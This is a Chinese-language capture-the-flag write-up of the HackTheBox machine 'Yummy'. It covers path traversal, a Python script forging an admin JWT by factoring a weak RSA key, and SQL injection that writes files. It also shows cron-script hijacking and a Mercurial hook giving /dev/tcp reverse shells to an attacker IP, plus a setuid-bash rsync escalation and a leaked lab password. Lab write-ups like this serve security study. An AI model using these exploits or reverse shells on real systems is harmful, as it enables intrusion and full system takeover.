Yummy(HTB Hard)
基本信息
- IP:
10.10.11.36 - VPN:
10.10.16.3 - 域名:
yummy.htb
信息收集
修改 /etc/hosts 后扫描:
rustscan -a 10.10.11.36 -- -sCTV
nmap -sC -sV -Pn -T4 10.10.11.36
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp open http Caddy httpd
|_http-title: Yummy
前端用 JWT。预订套餐有下载功能,重放失败(有 token)。拦截后改下载路径做目录穿越:
GET /export/../../../../../../etc/passwd HTTP/1.1
Host: yummy.htb
Cookie: X-AUTH-Token=<jwt>; session=<session>
同时可读 /etc/crontab。定时任务:
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
继续穿越下载脚本:
/export/../../data/scripts/app_backup.sh
/export/../../data/scripts/table_cleanup.sh
/export/../../data/scripts/dbmonitor.sh
/export/../../../../../../var/www/backupapp.zip
/export/../../data/scripts/sqlappointments.sql
dbmonitor.sh 是拿 mysql shell 的关键。源码里有 /admindashboard 和 validate_login(),需要伪造 JWT。
User
伪造管理员 JWT:
import base64
import json
import jwt
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
jwt_token = input("YOUR_JWT_TOKEN:")
def apply_padding(encoded_str):
while len(encoded_str) % 4 != 0:
encoded_str += '='
return encoded_str
def decode_base64_url(input_str):
input_str = apply_padding(input_str)
input_str = input_str.replace('-', '+').replace('_', '/')
return base64.b64decode(input_str)
decoded_payload = json.loads(decode_base64_url(jwt_token.split(".")[1]).decode())
modulus_n = int(decoded_payload["jwk"]['n'])
prime_p, prime_q = list((sympy.factorint(modulus_n)).keys())
public_exp = 65537
totient_n = (prime_p - 1) * (prime_q - 1)
private_exp = pow(public_exp, -1, totient_n)
rsa_key_data = {'n': modulus_n, 'e': public_exp, 'd': private_exp, 'p': prime_p, 'q': prime_q}
rsa_key = RSA.construct((rsa_key_data['n'], rsa_key_data['e'], rsa_key_data['d'], rsa_key_data['p'], rsa_key_data['q']))
pem_private_key = rsa_key.export_key()
loaded_private_key = serialization.load_pem_private_key(
pem_private_key,
password=None,
backend=default_backend()
)
rsa_public_key = loaded_private_key.public_key()
decoded_jwt_data = jwt.decode(jwt_token, rsa_public_key, algorithms=["RS256"])
decoded_jwt_data["role"] = "administrator"
updated_token = jwt.encode(decoded_jwt_data, loaded_private_key, algorithm="RS256")
print(updated_token)
访问 /admindashboard?s=2&o=ASC,o 参数可 SQL 注入(加引号报 1064)。写文件反弹:
bash -i >& /dev/tcp/10.10.16.4/4444 0>&1
nc -lnvp 4444
带伪造 token 访问(记得替换 token):
http://yummy.htb/admindashboard?s=test&o=ASC%3B+SELECT+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.16.4%2F4444+0%3E%261%22+INTO+OUTFILE+%27/data/scripts/fixer-v5%27%3B
http://yummy.htb/admindashboard?s=test&o=ASC%3B+SELECT+%22Database+is%22+INTO+OUTFILE+%27/data/scripts/dbstatus.json%27%3B
id
uid=110(mysql) gid=110(mysql) groups=110(mysql)
app_backup.sh 每分钟执行,覆盖它升到 www-data:
echo 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1' >> test.sh
mv test.sh app_backup.sh
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www 下隐藏目录 app-qatesting:
find /var/www/app-qatesting/.hg -name "*.*" 2>/dev/null | xargs grep pass
'user': 'qa',
'password': 'jPAd!XQCtn8Oc@2B'
ssh [email protected]
sudo -l
/usr/bin/hg pull /home/dev/app-production/
本地拉仓库会报:
abort: Permission denied: '/home/dev/app-production/.hg'
Root
hg pull 会读 .hg/hgrc 的 hook,sudo 以 dev 身份执行。写 hook 反弹:
nc -lnvp 7779
cd /tmp
mkdir .hg
chmod 777 .hg
cp ~/.hgrc .hg/hgrc
echo "[hooks]" >> /tmp/.hg/hgrc
echo "post-pull = /tmp/revshell.sh" >> /tmp/.hg/hgrc
echo "bash -c 'bash -i >& /dev/tcp/10.10.16.4/7779 0>&1'" > /tmp/revshell.sh
chmod +x /tmp/revshell.sh
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
拿到 dev 后:
sudo -l
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
cd /home/dev/
cp /bin/bash app-production/bash
chmod u+s app-production/bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
/opt/app/bash -p
至此已经获取全部机器权限。